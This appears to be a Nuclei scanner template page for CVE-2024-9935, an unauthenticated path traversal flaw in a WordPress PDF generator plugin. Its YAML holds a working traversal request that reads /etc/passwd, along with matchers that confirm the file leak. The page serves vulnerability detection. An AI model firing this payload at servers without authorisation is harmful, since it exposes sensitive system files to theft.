PDF Generator Addon for Elementor Page Builder <= 1.7.5 - Arbitrary File Download

ID: CVE-2024-9935

Severity: high

Author: s4e-io

Tags: cve,cve2024,wp,wordpress,wp-plugin,lfi,pdf-generator

Description

The PDF Generator Addon for Elementor Page Builder plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.7.5 via the rtw_pgaepb_dwnld_pdf() function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.

YAML Source

id: CVE-2024-9935

info:
  name: PDF Generator Addon for Elementor Page Builder <= 1.7.5 - Arbitrary File Download
  author: s4e-io
  severity: high
  description: |
    The PDF Generator Addon for Elementor Page Builder plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.7.5 via the rtw_pgaepb_dwnld_pdf() function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.
  reference:
    - https://github.com/RandomRobbieBF/CVE-2024-9935
    - https://plugins.trac.wordpress.org/browser/pdf-generator-addon-for-elementor-page-builder/trunk/public/class-pdf-generator-addon-for-elementor-page-builder-public.php#L133
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/36daf2af-1db3-4b35-8849-480212660b2f?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9935
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-9935
    cwe-id: CWE-22
    epss-score: 0.0009
    epss-percentile: 0.39758
  metadata:
    verified: true
    max-request: 2
    vendor: RedefiningTheWeb
    product: pdf-generator-addon-for-elementor-page-builder
    framework: wordpress
    fofa-query: body="wp-content/plugins/pdf-generator-addon-for-elementor-page-builder/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,lfi,pdf-generator

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/pdf-generator-addon-for-elementor-page-builder")'
        internal: true

  - raw:
      - |
        GET /elementor-84/?rtw_generate_pdf=true&rtw_pdf_file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - regex('root:.*:0:0:', body)
          - contains(header, "application/pdf")
          - status_code == 200
        condition: and
# digest: 4b0a00483046022100e37bade38dab40351914b1f08413af1f416c74ac7e1ddbc6b49eb29fbe8b7b37022100d2967fa760ce6f9eeb495a91b915a1aa4e93f45e483350c357d797241630a9d6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-9935.yaml"

View on Github